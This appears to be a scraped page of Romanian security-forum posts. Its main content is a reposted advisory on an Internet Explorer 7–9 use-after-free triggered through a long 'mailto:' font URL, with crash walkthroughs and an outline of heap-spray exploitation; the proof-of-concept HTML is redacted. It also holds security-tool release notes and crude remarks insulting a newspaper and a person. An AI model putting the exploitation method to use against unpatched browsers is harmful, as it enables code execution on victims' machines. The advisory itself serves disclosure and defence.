Nytro

Adaug si eu: Muie Jurnalul.

Am vorbit cu betivu de Andrew, si e foarte posibil sa nu se mai tina la Cluj ci in Bucuresti.

Internet Explorer Script Interjection Code Execution Internet Explorer Script Interjection Code Execution Derek Soeder ds.adv.pub () gmail com Reported: January 26, 2012, to SecuriTeam Secure Disclosure http://www.beyondsecurity.com/ssd.html Published: August 16, 2012 AFFECTED VENDOR --------------- Microsoft Corporation AFFECTED ENVIRONMENTS --------------------- Internet Explorer 7.0 on Windows XP and Windows Vista Internet Explorer 8.0 on Windows XP, Windows Vista, and Windows 7 Internet Explorer 9.0.0 through 9.0.8 (MS12-044) on Windows Vista and Windows 7 Other versions of Internet Explorer have not been tested. UNAFFECTED ENVIRONMENTS ----------------------- Internet Explorer with MS12-052 hotfix applied IMPACT ------ The vulnerability described in this document can be exploited by a malicious Web page to execute arbitrary code with low integrity. Active scripting must be enabled, and the present exploitation techniques require that font downloading be set to "Enable" or "Prompt" and that the "mailto:"; protocol be present. (These requirements are satisfied by default on Windows XP, Windows Vista, and Windows 7.) The user is presented with a message box which must be dismissed before code execution can occur. VULNERABILITY DETAILS --------------------- Processing of events in Internet Explorer is typically driven by window messages originating both externally (for instance, due to user input or paint requests) and internally. As with all window messages, these messages are retrieved from the current thread's message queue by a message loop, which dispatches each message to a window procedure. The window procedure, in turn, invokes code to handle the associated event based on the type of window message. If the event handling code can be made to display a message box or dialog, or otherwise enter a message loop, then another window message relating to a separate, second event may be dispatched during this "stacked," second message loop, meaning the second event will be processed before the original event has been fully handled. Processing of the original event continues only after the second message loop has ended (i.e., when the displayed message box or dialog closes). If the second event handling code can cause the program's state to become inconsistent with the first event handling code's expectations--for instance, by destroying objects referenced in variables local to the first event handling code--then it should be possible to cause memory corruption which can be exploited to achieve arbitrary code execution. A variety of events can result in script running during the event handler code. Although it's simple for script to display a message box or dialog and thereby enter a message loop (e.g., using window.alert, window.prompt, or window.clipboardData.getData under default security settings), so far it does not appear that an interrupting, second event handler can then do anything to disrupt program state in a way that the first event handler will not accommodate. This is understandable, since script must be able to handle other script running at any time and having arbitrary effects on program state. Objects accessible to script should be properly reference-counted and garbage-collected, and any exception would constitute a separate vulnerability that could likely be exploited without use of the flaw described in this document. In some cases, it's also possible to make MSHTML.DLL enter a message loop while handling a page rendering event (as opposed to an event intended to run script). For one, MSHTML!CMarkup::ProcessURLAction* is used to check a variety of security settings during page downloading and rendering; this function calls URLMON!ProcessUrlAction*, which may display a dialog if the queried setting's action is set to "Prompt". Unfortunately, most of the security settings which default to prompting are now handled through the yellow security band or notification bar rather than a dialog. Other avenues for reaching a message loop may be discovered by backtracking from functions such as DispatchMessageW, MessageBoxW, and DialogBoxParamW. One function call of particular interest is a call to MessageBoxW found in MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError. It was discovered that, if Internet Explorer attempts to download a very long (approximately 2,030-character) "mailto:"; URL, then CMailtoProtocol::RunMailClient will fail and call CMailtoProtocol::DisplayMailClientNotFoundError to display a message box, thereby entering a message loop. (The message reads, "Could not perform this operation because the default mail client is not properly installed.") Furthermore, it was found that displaying this message box while downloading an embedded font (by specifying a long "mailto:"; URL for the font's "src" property) will result in references to targetable objects remaining on the stack until the message box is closed. Thus, a Web page can exploit this vulnerability by declaring an embedded font with a long "mailto:"; source URL and ensuring that an event which destroys and replaces targetable objects occurs while the message box is open. Although the particulars of the targetable objects are Internet Explorer version-dependent, exploitation should generally proceed as typical for an Internet Explorer use-after-free vulnerability. Events The most significant complexity of this vulnerability is understanding Internet Explorer's event handling. As mentioned above, event handling is based on the processing of window messages. Some window messages may arise from user input (such as keyboard and mouse messages), while others may be generated by the operating system (such as paint and resize messages), but most messages signaling events are generated interally by Internet Explorer. These messages use a message identifier value of 0x8002 and are generated when a "method call" is added to a queue maintained in Thread Local Storage (TLS), if the queue is empty. A method call is simply a function pointer and associated data representing a callback to be invoked by the event handling message loop (or any other message loop). Method calls are queued using MSHTML!_GWPostMethodCallEx and handled by MSHTML!GlobalWndOnMethodCall, which the MSHTML!GlobalWndProc window procedure calls in response to a message 0x8002. It is important to note that a message 0x8002 will only be posted if the method call queue is empty and if a message 0x8002 is not outstanding (being processed or waiting to be processed). Therefore, with possibly one minor exception, a second message 0x8002 cannot be pending while a first message 0x8002 is being processed, meaning a second method call-based event cannot be handled while a first method call-based event is being handled, even if the first enters a message loop. When exploiting the vulnerability, one event may be based on a method call, but the other must correspond to user input or some other type of message. Although designing a Web page to provoke a user input message without user interaction is not difficult, Internet Explorer 9 offers another possibility by introducing asynchronous events. If a Web page is viewed in IE9 standards mode, certain events (for example, body.onfocus) will instead be mediated by messages with an identifier value of 0x8003, which are generated via MSHTML!CEventMgr::QueueAsyncEvent -> MSHTML!CAsyncEventQueue::QueueEvent and processed when GlobalWndProc calls MSHTML!CAsyncEventQueue::DispatchAllEvents. If the asynchronous event handling code enters a message loop, a message 0x8002 could then be dispatched and cause any queued method calls to be processed. Example (Internet Explorer 7 and 8) A simple example of how to reproduce this vulnerability in Internet Explorer versions 7 and 8 follows. A Web page contains an empty style sheet link, a body with an "onmouseover" event handler, and a script element which creates a new script element and assigns it an "onreadystatechange" event handler. The body also has a style which specifies a large height value, so that the body area will occupy the full height as well as width of the browser window. The following HTML illustrates: [redacted for now] When the Web page loads, the presence of the mouse cursor over the window causes MSHTML!CServer::WndProc to receive a mouse window message, which it passes to MSHTML!CDoc::OnWindowMessage -> MSHTML!CDoc::OnMouseMessage. Further up the call stack, the script of the body's "onmouseover" event handler runs, setting the empty style sheet link's "href" attribute to load "MyFont.css". When the CSS defining the "MyFont" embedded font is parsed, the long "mailto:"; URL will ultimately result in CMailtoProtocol::DisplayMailClientNotFoundError displaying an error message box, pausing execution of that thread except to process window messages. Using the "onmouseover" event handler for this purpose ensures that the message box will appear during processing of a user input window message, rather than during processing of a method call (0x8002) window message, which leaves the method call avenue available for the second event. While the message box is showing, our attack server completes its intentionally delayed response to the request for "slow.js", causing the client to queue a method call which will run the new script element's "onreadystatechange" event handler. Because a method call (message 0x8002) is not currently being processed--the event being processed originated instead as a mouse window message--this means the thread responsible for downloading "slow.js" is free to post a message 0x8002 after it queues the method call. The window message will then be dispatched by the message loop that drives the error message box, causing the "onreadystatechange" event handler to run. In this example, the event handler tampers with the object representing the style sheet, which was still being interpreted at the time the message box was displayed. The tampering provokes a crash once the message box closes and interpretation of the style sheet is allowed to continue. Example (Internet Explorer 9) Now a simple example specific to Internet Explorer 9 is presented. A Web page contains a body with an "onfocus" event handler, a style sheet defining an embedded font and a class which uses it, a "div" element of the defined class, and a script element which creates a new script element and assigns it an "onreadystatechange" event handler. The document begins with a "DOCTYPE" declaration which ensures that the page will be rendered in IE9 standards mode. The following HTML illustrates: [redacted for now] In IE9 standards mode, embedded fonts are not downloaded until they're needed to render the page, meaning that the embedded font's long "mailto:"; URL is interpreted--and therefore the error message box is displayed--when the body's "onfocus" event fires. Because body.onfocus is handled in IE9 standards mode as an asynchronous event (message 0x8003), method calls (message 0x8002) remain free to be dispatched while the message box message loop is on the call stack. In this example, we expect "slow.js" to finish downloading after body.onfocus fires and causes the error message box to appear. The code in IE that manages the download will queue an "onreadystatechange" method call for the script, which will be dispatched by the message box message loop, allowing our Javascript to execute. Since IE9 accesses embedded fonts on demand, there will be references to various object on the stack below the message box message loop, so if our Javascript tampers with these objects, a crash will result once the message box is closed. Walkthrough To help provide a visual understanding of the vulnerability, a chronological walkthrough of the Internet Explorer 9 example crash is presented here. Following along in the example is recommended. The symbols shown correspond to Internet Explorer 9.0.3 on Windows 7 SP1 x86, with MSHTML.DLL version 9.0.8112.16437 loaded at 6D1C0000 and page heap enabled. When the example page is loading, a 0x54-byte CTreePos class instance is allocated on the heap: (This CTreePos instance will be freed and its memory reused later.) 77365ae0 ntdll!RtlAllocateHeap+0x0000023a 6d423fe1 MSHTML!CHtmRootParseCtx::BeginElement+0x00000035 6d51b14b MSHTML!CHtmTextParseCtx::BeginElement+0x000000a1 6d4245a0 MSHTML!CHtmParse::BeginElement+0x00000151 6d4269aa MSHTML!CHtmParse::ParseBeginTag+0x00000199 6d422422 MSHTML!CHtmParse::ParseToken+0x00000100 6d42292a MSHTML!CHtmPost::Exec+0x00000233 6d427a10 MSHTML!CHtmPost::Run+0x00000041 6d42793c MSHTML!PostManExecute+0x000001a3 6d4278a1 MSHTML!PostManResume+0x000000dd 6d427801 MSHTML!CHtmPost::OnDwnChanCallback+0x00000010 6d40b4d5 MSHTML!CDwnChan::OnMethodCall+0x0000001f 6d5a9d09 MSHTML!GlobalWndOnMethodCall+0x00000115 6d5c9368 MSHTML!GlobalWndProc+0x00000302 7748c4e7 USER32!InternalCallWinProc+0x00000023 7748c5e7 USER32!UserCallWinProcCheckWow+0x0000014b 7748cc19 USER32!DispatchMessageWorker+0x0000035e 7748cc70 USER32!DispatchMessageW+0x0000000f 6e8e1b44 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000722 6e901a16 IEFRAME!LCIETab_ThreadProc+0x00000317 759315b0 iertutil!CIsoScope::RegisterThread+0x000000ab 6e8efd5b IEFRAME!Detour_DefWindowProcA+0x0000006c 75c4ed6c kernel32!BaseThreadInitThunk+0x0000000e 773737f5 ntdll!__RtlUserThreadStart+0x00000070 773737c8 ntdll!_RtlUserThreadStart+0x0000001b Next, the page's Javascript executes, creating a new script element with a source of "slow.js". The idea is that the Web server will intentionally postpone serving this file for a second or two. This arranges for an "onreadystatechange" event to fire after the delay elapses. Once the page finishes loading (but before the delay has elapsed), the "body.onfocus" event fires. Because the document is in IE9 standards mode, "body.onfocus" will be queued as an asynchronous event, meaning it will be mediated by window message 0x8003. The "body.onfocus" event handler changes a "div" element's class to a class that uses an embedded font. This forces Internet Explorer to attempt to download the font, which fails due to the long "mailto:"; URL. Crucially, the failure triggers a "mailto"-specific message box to be displayed; this enters a new, top message loop during the original, bottom message loop's handling of the 0x8003 window message associated with the "body.onfocus" event. The call stack, from top to bottom, now looks like this: 774a382a USER32!NtUserWaitMessage+0xc 774a3b27 USER32!DialogBox2+0x207 774ce0d5 USER32!InternalDialogBox+0xcb 774ce659 USER32!SoftModalMessageBox+0x68a 774ce78c USER32!MessageBoxWorker+0x2ca 774cea08 USER32!MessageBoxTimeoutW+0x7f 6ea15e86 USER32!MessageBoxExW+0x1b 774ceaa4 IEFRAME!Detour_MessageBoxExW+0x47 6db3ac94 USER32!MessageBoxW+0x45 6db3aaf1 MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError+0x10b 6db3a2cc MSHTML!CMailtoProtocol::RunMailClient+0x12e 6db39def MSHTML!CMailtoProtocol::ParseAndBind+0x8b 76ab1c0b MSHTML!CMailtoProtocol::Start+0xcd 76a98fb3 URLMON!COInetProt::StartEx+0xf0 76a9a31f URLMON!CTransaction::StartEx+0x40b 76a8386c URLMON!CBinding::StartBinding+0x883 6d438507 URLMON!operator new+0x20 6d4383ed MSHTML!CTridentFilterHost::BindToMoniker+0xe4 6d4216f3 MSHTML!CDwnBindData::Bind+0x722 6d42153b MSHTML!NewDwnBindData+0x189 6d20c107 MSHTML!CDwnLoad::Init+0x25c 6d5c1f27 MSHTML!CBitsLoad::Init+0x52 6d421279 MSHTML!CDwnInfo::SetLoad+0x11e 6d451257 MSHTML!CDwnInfo::AddDwnCtx+0x67 6d42c695 MSHTML!CDoc::NewDwnCtx2+0x30a 6d953c33 MSHTML!CDoc::NewDwnCtx+0x5b 6d956222 MSHTML!CEmbeddedFontFace::EnsureStartDownload+0x120 6d955aee MSHTML!CFontFace::CFontFaceSrc::EnsureStartDownload+0x8a 6d682c20 MSHTML!CFontFace::AddToFamily+0x18c 6d52ceb2 MSHTML!CStyleSheetArray::BuildFontFaceRuleFamily+0x58 6d52cd28 MSHTML!ApplyClear+0x113 6d51bc41 MSHTML!ApplyFontFace+0x1d4 6d40e103 MSHTML!ApplyFormatInfoProperty+0x33bf 6d40e424 MSHTML!ApplyAttrArrayValues+0x2bd 6d5b5344 MSHTML!CStyleSheetArray::Apply+0x34a 6d47bad8 MSHTML!CMarkup::ApplyStyleSheets+0x6a 6d47b89e MSHTML!CElement::ApplyStyleSheets+0x4a2 6d4cddff MSHTML!CElement::ApplyDefaultFormat+0x8b 6d47b5a0 MSHTML!CBlockElement::ApplyDefaultFormat+0x379 6d47a5a3 MSHTML!CElement::ComputeFormatsVirtual+0x1a1e 6d47a4d6 MSHTML!CElement::ComputeFormats+0xe1 6d47bd39 MSHTML!CTreeNode::ComputeFormats+0xba 6d482d33 MSHTML!CTreeNode::ComputeFormatsHelper+0x40 6d360862 MSHTML!CTreeNode::GetFancyFormat+0x32 6d2d910f MSHTML!CElement::UpdateFormats+0x426 6d4ce10f MSHTML!CControlledFormatter::Init+0xcc 6d47fa14 MSHTML!CElement::OnPropertyChangeInternal+0x3fa 6d49b76b MSHTML!CElement::OnPropertyChange+0x1b 6d2da8db MSHTML!BASICPROPPARAMS::SetStringProperty+0x36a 6d0084d6 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_className+0x61 6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d0cc968 JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117 6d009a85 JSCRIPT9!Js::JavascriptOperators::SetProperty+0x8c 6d009a2c JSCRIPT9!Js::JavascriptOperators::OP_SetProperty+0x59 039507b8 JSCRIPT9!Js::JavascriptOperators::PatchPutValueNoLocalFastPath+0xbc 6d0084d6 0x39507b8 6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6 6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f 6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63 6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a 6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a 6d54ce40 MSHTML!CListenerDispatch::Invoke+0x40 6d44e624 MSHTML!CEventMgr::_InvokeListeners+0x187 6d54cf37 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc 6d5db67d MSHTML!CEventMgr::Dispatch+0x3cc 6d53ba32 MSHTML!CEventMgr::DispatchFocusEvent+0x7d 6d5e6f74 MSHTML!COmWindowProxy::Fire_onfocus+0x84 6d5e6ff1 MSHTML!CAsyncEventQueue::DispatchAllEvents+0x7c 7748c4e7 MSHTML!GlobalWndProc+0x2ed 7748c5e7 USER32!InternalCallWinProc+0x23 7748cc19 USER32!UserCallWinProcCheckWow+0x14b 7748cc70 USER32!DispatchMessageWorker+0x35e 6e8e1b44 USER32!DispatchMessageW+0xf 6e901a16 IEFRAME!CTabWindow::_TabWindowThreadProc+0x722 759315b0 IEFRAME!LCIETab_ThreadProc+0x317 6e8efd5b IERTUTIL!CIsoScope::RegisterThread+0xab 75c4ed6c IEFRAME!Detour_DefWindowProcA+0x6c 773737f5 KERNEL32!BaseThreadInitThunk+0xe 773737c8 NTDLL!__RtlUserThreadStart+0x70 00000000 NTDLL!_RtlUserThreadStart+0x1b As long as the message box remains open, its message loop will dispatch new window message-mediated events, and control won't return to Internet Explorer's original message loop. It doesn't matter which message loop is dispatching messages, because the same window procedure is executed in either case. The only problem is that the code lower on the call stack was operating on various heap objects (such as the CTreePos allocated earlier) before control entered the MessageBox call and became stuck. Now, if a window message-mediated event results in the execution of Javascript that modifies or destroys those heap objects, corruption manifesting as a use-after-free, for instance, may result. As belabored in the Vulnerability Details section, not every type of event can be "stacked" in every situation like this, but certain different events can. An 0x8003 window message (for "body.onfocus") was being processed during the bottom message loop, so if an 0x8002 window message is posted, it will be processed during the top message loop--and this is exactly what the example has arranged to happen. Once the delay in serving "slow.js" elapses, an 0x8002 window message-mediated event (referred to as a "method call") corresponding to the concluded download will be posted and subsequently processed during the top message loop. This method call executes the created script element's "onreadystatechange" event handler, which destroys the very "div" element that was in the process of being rendered when Internet Explorer attempted to download the font and became stuck at the message box. The following partial call stack shows "removeChild" being called from the "onreadystatechange" event handler: 6d2eb4e3 MSHTML!CElement::ie9_removeChild 6d0084d6 MSHTML!CFastDOM::CNode::Trampoline_removeChild+0x7b 6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 039501af JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117 6d0084d6 0x39501af 6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6 6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f 6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63 6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a 6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a 6d35a726 MSHTML!CListenerDispatch::Invoke+0x40 6d5db834 MSHTML!CEventMgr::Dispatch+0x537 6d4a5607 MSHTML!CEventMgr::DispatchEvent+0xc9 6d4a02ff MSHTML!CElement::Fire_onreadystatechange+0x99 6d5a9d09 MSHTML!CScriptElement::FireOnReadyStateChange+0x3e 6d5c9368 MSHTML!GlobalWndOnMethodCall+0x115 7748c4e7 MSHTML!GlobalWndProc+0x302 7748c5e7 USER32!InternalCallWinProc+0x23 7748cc19 USER32!UserCallWinProcCheckWow+0x14b 7748cc70 USER32!DispatchMessageWorker+0x35e 774a38d7 USER32!DispatchMessageW+0xf 774a3b27 USER32!DialogBox2+0x15a 774ce0d5 USER32!InternalDialogBox+0xcb 774ce659 USER32!SoftModalMessageBox+0x68a 774ce78c USER32!MessageBoxWorker+0x2ca 774cea08 USER32!MessageBoxTimeoutW+0x7f 6ea15e86 USER32!MessageBoxExW+0x1b 774ceaa4 IEFRAME!Detour_MessageBoxExW+0x47 6db3ac94 USER32!MessageBoxW+0x45 6db3aaf1 MSHTML!CMailtoProtocol::DisplayMailClientNotFoundError+0x10b 6db3a2cc MSHTML!CMailtoProtocol::RunMailClient+0x12e 6db39def MSHTML!CMailtoProtocol::ParseAndBind+0x8b 76ab1c0b MSHTML!CMailtoProtocol::Start+0xcd ... The free actually happens in a subsequent method call, which is also processing during the MessageBox message loop, as shown in the following partial call stack: 75c4c3d4 kernel32!HeapFree+0x00000014 6d5eebed MSHTML!CTreePos::Release+0x00000046 6d5fdc69 MSHTML!CLayoutBlock::~CLayoutBlock+0x000000ba 6d5ff5da MSHTML!CFlexBoxBlock::`scalar deleting destructor'+0x00000013 6d559ee9 MSHTML!TSmartPointer<CPtsPelParaclient>::~TSmartPointer<CPtsPelParaclient>+0x00000014 6d5da773 MSHTML!HtmlLayout::SmartDispClient::Release+0x00000023 6d5da5fb MSHTML!HtmlLayout::FlowBox::ImplicitDestructor+0x0000001d 6d490144 MSHTML!HtmlLayout::CIE9DocumentLayout::FormatPage+0x00000065 6d48c517 MSHTML!CCssDocumentLayout::FindOrFormatPage+0x00000272 6d4872fb MSHTML!CCssDocumentLayout::GetPage+0x00000964 6d48e06f MSHTML!CMarkupPageLayout::CalcSize+0x0000028c 6d48de82 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0x00000101 6d48fba1 MSHTML!CMarkupPageLayout::DoLayout+0x00000056 6d47e65a MSHTML!CView::ExecuteLayoutTasks+0x00000034 6d476a85 MSHTML!CView::EnsureView+0x000003bf 6d498701 MSHTML!CView::EnsureViewCallback+0x000000b8 6d5a9d09 MSHTML!GlobalWndOnMethodCall+0x00000115 6d5c9368 MSHTML!GlobalWndProc+0x00000302 7748c4e7 USER32!InternalCallWinProc+0x00000023 7748c5e7 USER32!UserCallWinProcCheckWow+0x0000014b 7748cc19 USER32!DispatchMessageWorker+0x0000035e 7748cc70 USER32!DispatchMessageW+0x0000000f 774a38d7 USER32!DialogBox2+0x0000015a 774a3b27 USER32!InternalDialogBox+0x000000cb 774ce0d5 USER32!SoftModalMessageBox+0x0000068a 774ce659 USER32!MessageBoxWorker+0x000002ca 774ce78c USER32!MessageBoxTimeoutW+0x0000007f ... At this point, a fully developed exploit might use Javascript to reallocate and overwrite the memory formerly belonging to the now-freed CTreePos. For the sake of this walkthrough, it suffices to let page heap wipe the freed memory of the CTreePos with 0xF0. Finally, once the user closes the message box, execution of the interrupt font downloading and page rendering code continues, but the code fails to anticipate that the program state has changed during the MessageBox call. A pointer on the stack to the destroyed CTreePos is dereferenced, resulting in an access violation. The following register dump, disassembly, and call stack illustrate; notice that EBX points to stack memory from which a pointer to the destroyed CTreePos is taken: Access violation - code c0000005 (first chance) eax=005ba430 ebx=03b5c5c8 ecx=f0f0f0f0 edx=03b5c540 esi=00000000 edi=00557840 eip=6d47b5d7 esp=03b5c450 ebp=03b5c510 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 MSHTML!CElement::ComputeFormatsVirtual+0x1a64: 6d47b5d7 0fbf4120 movsx eax,word ptr [ecx+20h] ds:0023:f0f0f110=???? 6d47b5c5 8b03 mov eax,dword ptr [ebx] 6d47b5c7 8b8bd4000000 mov ecx,dword ptr [ebx+0D4h] 6d47b5cd 89442420 mov dword ptr [esp+20h],eax 6d47b5d1 894c242c mov dword ptr [esp+2Ch],ecx 6d47b5d5 8b08 mov ecx,dword ptr [eax] 6d47b5d7 0fbf4120 movsx eax,word ptr [ecx+20h] 6d47a5a3 MSHTML!CElement::ComputeFormatsVirtual+0x1a64 6d47a4d6 MSHTML!CElement::ComputeFormats+0xe1 6d47bd39 MSHTML!CTreeNode::ComputeFormats+0xba 6d482d33 MSHTML!CTreeNode::ComputeFormatsHelper+0x40 6d360862 MSHTML!CTreeNode::GetFancyFormat+0x32 6d2d910f MSHTML!CElement::UpdateFormats+0x426 6d4ce10f MSHTML!CControlledFormatter::Init+0xcc 6d47fa14 MSHTML!CElement::OnPropertyChangeInternal+0x3fa 6d49b76b MSHTML!CElement::OnPropertyChange+0x1b 6d2da8db MSHTML!BASICPROPPARAMS::SetStringProperty+0x36a 6d0084d6 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_className+0x61 6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d0cc968 JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117 6d009a85 JSCRIPT9!Js::JavascriptOperators::SetProperty+0x8c 6d009a2c JSCRIPT9!Js::JavascriptOperators::OP_SetProperty+0x59 039507b8 JSCRIPT9!Js::JavascriptOperators::PatchPutValueNoLocalFastPath+0xbc 6d0084d6 0x39507b8 6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6 6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f 6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63 6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a 6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a 6d54ce40 MSHTML!CListenerDispatch::Invoke+0x40 6d44e624 MSHTML!CEventMgr::_InvokeListeners+0x187 6d54cf37 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc 6d5db67d MSHTML!CEventMgr::Dispatch+0x3cc 6d53ba32 MSHTML!CEventMgr::DispatchFocusEvent+0x7d 6d5e6f74 MSHTML!COmWindowProxy::Fire_onfocus+0x84 6d5e6ff1 MSHTML!CAsyncEventQueue::DispatchAllEvents+0x7c 7748c4e7 MSHTML!GlobalWndProc+0x2ed 7748c5e7 USER32!InternalCallWinProc+0x23 7748cc19 USER32!UserCallWinProcCheckWow+0x14b 7748cc70 USER32!DispatchMessageWorker+0x35e 6e8e1b44 USER32!DispatchMessageW+0xf 6e901a16 IEFRAME!CTabWindow::_TabWindowThreadProc+0x722 759315b0 IEFRAME!LCIETab_ThreadProc+0x317 6e8efd5b IERTUTIL!CIsoScope::RegisterThread+0xab 75c4ed6c IEFRAME!Detour_DefWindowProcA+0x6c 773737f5 KERNEL32!BaseThreadInitThunk+0xe 773737c8 NTDLL!__RtlUserThreadStart+0x70 00000000 NTDLL!_RtlUserThreadStart+0x1b EXPLOITATION ------------ Exploitation of this vulnerability is typical for a basic use-after-free condition in Internet Explorer, in that the exploit: (1) creates an object on the heap, (2) causes the object to be freed while references to it persist elsewhere, (3) replaces the contents of the heap memory formerly occupied by the object with arbitrary data, and (4) causes Internet Explorer to access a stale reference to the freed object. In a prepared proof-of-concept EIP control exploit targeting Internet Explorer 9 (32-bit), these steps were accomplished by: including two nested, named "div" elements in the HTML; modifying the outer "div" element to destroy the inner "div" (while the mail client error message is on the screen); performing a typical heap spray to store known data at a known address; and creating a large number of CTreePos-size heap blocks containing specially crafted data to fill the hole left by the freed inner "div" element. The specially crafted data includes a substitute vtable pointer which references heap-sprayed data at a hard-coded address, another feature typical of such exploits. The only step that this exploit cannot accomplish entirely on its own is triggering Internet Explorer to access the stale inner "div" element reference--this access occurs only after the user dismisses the mail client error message. MITIGATION ---------- Setting the "Downloads" -> "Font download" security setting to "Disable" ("HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Internet Settings\Zones\<zone-identifier>" -> "1604": REG_DWORD = "3") prevents exploitation of this vulnerability using the present technique. Deleting, renaming, or denying read access to the "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\mailto" registry key (and "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Classes\PROTOCOLS\Handler\mailto" as appropriate) also prevents exploitation using the present technique; however, after implementing the workaround, confirm that clicking a "mailto:"; link in any zone does not display a message box. CONCLUSION ---------- This document presents a long-lived vulnerability in Internet Explorer which permits arbitrary code execution given default security settings. Although current exploitation involves a modest amount of user interaction and user notification in the form of a mail client error message, the message is not security-related, and the message box does not present the user with an option of aborting exploitation. Further research into the vulnerability might reveal other means of exploitation which may change the presented message or reduce or eliminate the need for user interaction. GREETINGS --------- www.thetomatopizza.com ^ The best pizza anywhere near DFW; required eating for locals and remotes. Sursa: Bugtraq: Internet Explorer Script Interjection Code Execution

PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING Contine 2 executabile encryptate (prost), si nu vad de ce ar contine. Ban, explicatii ulterioare dupa un alt cont daca chiar e nevoie.

[h=1]UPDATE: ThreadFix 1.0 beta 21![/h]“ThreadFix is a software vulnerability aggregation and management system that helps organizations aggregate vulnerability data, generate virtual patches, and interact with software defect tracking systems. It imports the results from dynamic, static and manual testing to provide a centralized view of software security defects across development teams and applications. The system allows companies to correlate testing results and streamline software remediation efforts by simplifying feeds to software issue trackers. By auto generating application firewall rules, this tool allows organizations to continue remediation work uninterrupted.” [h=2]Changes made to ThreadFix:[/h] Defect Tracker and Remote Provider credentials are now encrypted before being saved in the database. An IBM Rational AppScan Source Edition alpha importer is now included. A few changes have been made to ease the development of a custom Defect Tracker solution. Now users can add a database entry and drop a JAR in the ThreadFix lib to include custom Defect Tracker code. CWE names have been updated to stay current with the May 2012 2.2 release of the standard. Veracode and Qualys now import all of the scans in an application’s history instead of just the first one. Veracode vulnerabilities that were marked as false positives will now import to ThreadFix as false positives. A few Nessus vulnerability types have been added, but most Nessus findings will still not import to ThreadFix. All tables that display vulnerability or finding information have been moved to an asynchronous loading method to improve performance and memory usage. The queue for scans now behaves serially to enforce scan ordering. Several bugs have been fixed and small changes have been made to the UI. [h=3]Download ThreadFix:[/h] ThreadFix 1.0 Beta 21 – ThreadFix_1_0_beta21.zip Sursa: ThreadFix 1.0 beta 21! — PenTestIT

Va fi mai tarziu, nu in septembrie, il sun azi pe boschetu de Andrew sa vad, ca avem mai multe de discutat.

A inceput, intrati.

[h=1]UPDATE: NetworkMiner 1.4![/h]August 16, 2012 - 3:33 pm By Mayuresh “NetworkMiner is a Network Forensic Analysis Tool (NFAT) for Windows. NetworkMiner can be used as a passive network sniffer/packet capturing tool in order to detect operating systems, sessions, hostnames, open ports etc. without putting any traffic on the network. NetworkMiner can also parse PCAP files for off-line analysis and to regenerate/reassemble transmitted files and certificates from PCAP files. NetworkMiner collects data (such as forensic evidence) about hosts on the network rather than to collect data regarding the traffic on the network. The main user interface view is host centric (information grouped per host) rather than packet centric (information showed as a list of packets/frames).” [h=2]Official change log for NetworkMiner 1.4:[/h] DhcpPacketHandler.cs: DHCP option data is now extracted to the parameters tab. Thanks to Paul Cockayne for the idea. IPv4Packet.cs: Fragmented IPv4 packets are now properly reassembled to full IP packets with payload. IEC_60870-5-104Packet.cs: Implemented the SCADA protocol IEC 60870-5-104. Thanks to Aivar Liimets from Martem for his great support on this one! PacketHandler.cs: Added proper timestamps to detected anomaly events and improved ARP poisoning reporting to anomalies tab. NetworkMinerForm.cs: Verification of file extention is completely removed. Files with any extention can now be loaded, as long as they are valid libpcap files. NetworkMinerForm.cs: Added “Clear GUI” button to Tools menu. NetworkMinerForm.cs: Added option to show/hide cookies, NTLM challenge-responses as well as the ability to mask passwords in credentials tab. According to us, the highlight of this release is the addition of the SCADA protocol! [h=3]Download NetworkMiner:[/h] NetworkMiner 1.4 – NetworkMiner_1-4.zip/NetworkMiner_1-4_source.zip Sursa: NetworkMiner version 1.4! — PenTestIT

Smishing? Haide ba... Va introduc si eu "polonishing": primesti un link aparent inocent, si cand dai click pe el: BUM, POZA CU POLONIC, faci infarct si mori! Oricum, e acelasi rahat, daca atat te duce capul sa iti introduci datele bancare de oriunde, in orice situatie, iti meriti soarta.

Poti uploada altundeva, prea multe butoane de "Dowload" pe porcaria aia O sa ma uit diseara care-i treaba cu imaginea.

